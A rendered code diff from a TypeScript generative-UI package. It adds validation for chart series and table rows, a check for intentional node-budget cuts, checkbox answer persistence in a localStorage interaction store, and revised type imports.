|
+
// custom nodes stay opaque and must not fail native schema validation.
|
|
1397
|
+
const errors = validation.errors.filter(error => !error.includes(': unknown type '))
|
|
1398
|
+
if (declaredNativeCount > renderedNativeCount) {
|
|
1399
|
+
errors.push(`repair dropped ${declaredNativeCount - renderedNativeCount} declared native node(s): declared ${declaredNativeCount}, rendered ${renderedNativeCount}`)
|
|
1400
|
+
}
|
|
1401
|
+
return {
|
|
1402
|
+
value: normalized.value,
|
|
1403
|
+
normalized: normalized.value,
|
|
1404
|
+
repaired,
|
|
1405
|
+
spec: repaired,
|
|
1406
|
+
errors,
|
|
1407
|
+
warnings: [...normalized.warnings, ...diagnoseUnknownGenuiFields(normalized.value)],
|
|
1408
|
+
// Compatibility fields retain their historical meanings: declaredCount
|
|
1409
|
+
// is native declarations, while renderedCount is the total rendered tree.
|
|
1410
|
+
declaredCount: declaredNativeCount,
|
|
1411
|
+
renderedCount: renderedTotalCount,
|
|
1412
|
+
declaredNativeCount,
|
|
1413
|
+
renderedNativeCount,
|
|
1414
|
+
renderedTotalCount,
|
|
1415
|
+
}
|
|
1416
|
+
}
|
|
1417
|
+
|
|
1418
|
+
/** Return whether the only process errors describe an intentional budget tail cut. */
|
|
1419
|
+
export function isIntentionalBudgetCut(processed: GenuiProcessResult): boolean {
|
|
1420
|
+
return processed.errors.length > 0
|
|
1421
|
+
&& processed.errors.every(error => error.startsWith('spec exceeds ') || error.startsWith('repair dropped '))
|
|
1422
|
+
&& processed.renderedNativeCount === GENUI_LIMITS.maxNodes
|
|
1423
|
+
&& processed.declaredNativeCount === GENUI_LIMITS.maxNodes + 1
|
|
1424
|
+
}
|
|
1425
|
+
|
|
1426
|
+
/** Decide whether a repaired spec is safe to expose to any GenUI renderer. */
|
|
1427
|
+
export function isRenderableProcess(processed: GenuiProcessResult): boolean {
|
|
1428
|
+
return processed.spec !== null && (processed.errors.length === 0 || isIntentionalBudgetCut(processed))
|
|
1429
|
+
}
|
|
1430
|
+
|
|
1325
1431
|
type Walker = (list: unknown, depth: number, path: string) => void
|
|
1326
1432
|
|
|
1327
1433
|
function validateChartData(value: unknown, at: string, errors: string[]): void {
|
|
@@ -1373,10 +1479,44 @@ function validateChartNode(v: Record<string, unknown>, at: string, errors: strin
|
|
|
1373
1479
|
|| !CHART_KINDS.includes(v.kind as typeof CHART_KINDS[number]))) {
|
|
1374
1480
|
errors.push(`${at}.kind must be bars, line, or donut`)
|
|
1375
1481
|
}
|
|
1482
|
+
const kind = v.kind === undefined ? 'bars' : v.kind
|
|
1483
|
+
if (Array.isArray(v.data) && v.data.length === 0) errors.push(`${at}.data must not be empty`)
|
|
1484
|
+
if (Array.isArray(v.series)) {
|
|
1485
|
+
if (v.series.length === 0) errors.push(`${at}.series must not be empty`)
|
|
1486
|
+
if (kind === 'line' || kind === 'donut') errors.push(`${at}.series is only supported for bars`)
|
|
1487
|
+
for (let index = 0; index < v.series.length; index++) {
|
|
1488
|
+
const series = obj(v.series[index])
|
|
1489
|
+
if (series !== undefined && Array.isArray(series.data) && series.data.length === 0) {
|
|
1490
|
+
errors.push(`${at}.series[${index}].data must not be empty`)
|
|
1491
|
+
}
|
|
1492
|
+
}
|
|
1493
|
+
}
|
|
1494
|
+
if ((kind === 'line' || kind === 'donut') && v.data === undefined) {
|
|
1495
|
+
errors.push(`${at}.data is required for ${kind}`)
|
|
1496
|
+
}
|
|
1376
1497
|
validateChartData(v.data, `${at}.data`, errors)
|
|
1377
1498
|
validateChartSeries(v.series, `${at}.series`, errors)
|
|
1378
1499
|
}
|
|
1379
1500
|
|
|
1501
|
+
/** Validate table rows before repair can silently remove malformed cells. */
|
|
1502
|
+
function validateTableRows(value: unknown, at: string, errors: string[]): void {
|
|
1503
|
+
if (!Array.isArray(value)) return
|
|
1504
|
+
for (let rowIndex = 0; rowIndex < value.length; rowIndex++) {
|
|
1505
|
+
const row = value[rowIndex]
|
|
1506
|
+
if (obj(row) !== undefined) continue
|
|
1507
|
+
if (!Array.isArray(row)) {
|
|
1508
|
+
errors.push(`${at}[${rowIndex}] must be an array or object`)
|
|
1509
|
+
continue
|
|
1510
|
+
}
|
|
1511
|
+
for (let cellIndex = 0; cellIndex < row.length; cellIndex++) {
|
|
1512
|
+
const cell = row[cellIndex]
|
|
1513
|
+
if (typeof cell !== 'string' && (typeof cell !== 'number' || !Number.isFinite(cell))) {
|
|
1514
|
+
errors.push(`${at}[${rowIndex}][${cellIndex}] must be a string or finite number`)
|
|
1515
|
+
}
|
|
1516
|
+
}
|
|
1517
|
+
}
|
|
1518
|
+
}
|
|
1519
|
+
|
|
1380
1520
|
function validateNode(value: unknown, depth: number, at: string, errors: string[], walk: Walker): void {
|
|
1381
1521
|
if (depth > GENUI_LIMITS.maxDepth) {
|
|
1382
1522
|
errors.push(`${at}: exceeds max depth ${GENUI_LIMITS.maxDepth}`)
|
|
@@ -1472,6 +1612,7 @@ function validateNode(value: unknown, depth: number, at: string, errors: string[
|
|
|
1472
1612
|
case 'table':
|
|
1473
1613
|
if (!Array.isArray(v.columns)) errors.push(`${at}: type 'table' requires columns (array)`)
|
|
1474
1614
|
if (!Array.isArray(v.rows)) errors.push(`${at}: type 'table' requires rows (array)`)
|
|
1615
|
+
validateTableRows(v.rows, `${at}.rows`, errors)
|
|
1475
1616
|
break
|
|
1476
1617
|
case 'chart':
|
|
1477
1618
|
validateChartNode(v, at, errors)
|
|
@@ -1559,4 +1700,8 @@ function validateNode(value: unknown, depth: number, at: string, errors: string[
|
|
|
1559
1700
|
// renderer exists; the guard cannot know, so report as a warning.
|
|
1560
1701
|
errors.push(`${at}: unknown type '${type}' (custom renderer?)`)
|
|
1561
1702
|
}
|
|
1703
|
+
const definition = COMPONENT_SCHEMAS[type]
|
|
1704
|
+
if (definition !== undefined) {
|
|
1705
|
+
validateRegistryFields(v, at, definition, errors)
|
|
1706
|
+
}
|
|
1562
1707
|
}
|
package/src/client/index.tsx
CHANGED
|
@@ -22,8 +22,9 @@
|
|
|
22
22
|
*/
|
|
23
23
|
|
|
24
24
|
import type { Context } from '@deepseek-ai/cordis'
|
|
25
|
-
import type {} from '@deepseek-ai/dsh-
|
|
26
|
-
import type {
|
|
25
|
+
import type {} from '@deepseek-ai/dsh-api-session-controller/client'
|
|
26
|
+
import type {} from '@deepseek-ai/dsh-client-ui-renderer/client'
|
|
27
|
+
import type { SessionId } from '@deepseek-ai/dsh-session/types'
|
|
27
28
|
import type { IConversation } from '@deepseek-ai/dsh-client-ui-conversation/client'
|
|
28
29
|
import type { Key, ReactNode } from 'react'
|
|
29
30
|
import * as primitives from '@deepseek-ai/dsh-client-ui-primitives'
|
|
@@ -1,6 +1,7 @@
|
|
|
1
1
|
/**
|
|
2
2
|
* Interaction-state store: durable per-block GenUI interaction state
|
|
3
|
-
* (radio answers, submit lock, input/textarea values) in
|
|
3
|
+
* (radio answers, checkbox groups, submit lock, input/textarea values) in
|
|
4
|
+
* localStorage.
|
|
4
5
|
*
|
|
5
6
|
* LOCAL-FIRST persistence: a ```dsh-ui block's interactive state survives
|
|
6
7
|
* page refresh and session reopen because it is keyed by
|
|
@@ -10,7 +11,7 @@
|
|
|
10
11
|
* share state because their content fingerprints differ.
|
|
11
12
|
*
|
|
12
13
|
* Bounded: at most MAX_BLOCKS entries, LRU-evicted on write; each block's
|
|
13
|
-
* payload is small (
|
|
14
|
+
* payload is small (answer maps + a few field values).
|
|
14
15
|
* @module @changfenhuang/dsh-genui/client/interaction-store
|
|
15
16
|
*/
|
|
16
17
|
|
|
@@ -18,6 +19,10 @@
|
|
|
18
19
|
export interface BlockInteractionState {
|
|
19
20
|
/** group → chosen option label (radio aggregation answers). */
|
|
20
21
|
answers?: Record<string, string>
|
|
22
|
+
/** group → chosen option labels (checkbox aggregation answers). Empty arrays
|
|
23
|
+
* are retained so an explicitly cleared group wins over `checked` defaults
|
|
24
|
+
* after refresh. */
|
|
25
|
+
multiAnswers?: Record<string, string[]>
|
|
21
26
|
/** True after a local grading: the paper stays graded across refresh. */
|
|
22
27
|
locked?: boolean
|
|
23
28
|
/** field id → current value (input/textarea with an `id`). */
|
|
@@ -15,7 +15,8 @@
|
|
|
15
15
|
* re-run render_ui) or through another /panel.
|
|
16
16
|
*/
|
|
17
17
|
import type { InputTriggerSource } from '@deepseek-ai/dsh-client-ui-input-trigger/client'
|
|
18
|
-
import type { ClientContext
|
|
18
|
+
import type { Context as ClientContext } from '@deepseek-ai/cordis'
|
|
19
|
+
import type { SessionId } from '@deepseek-ai/dsh-session/types'
|
|
19
20
|
import type { GenuiSpec } from './spec.ts'
|
|
20
21
|
import { requestPanelExpand, setLocalPanel } from './panel-store.ts'
|
|
21
22
|
|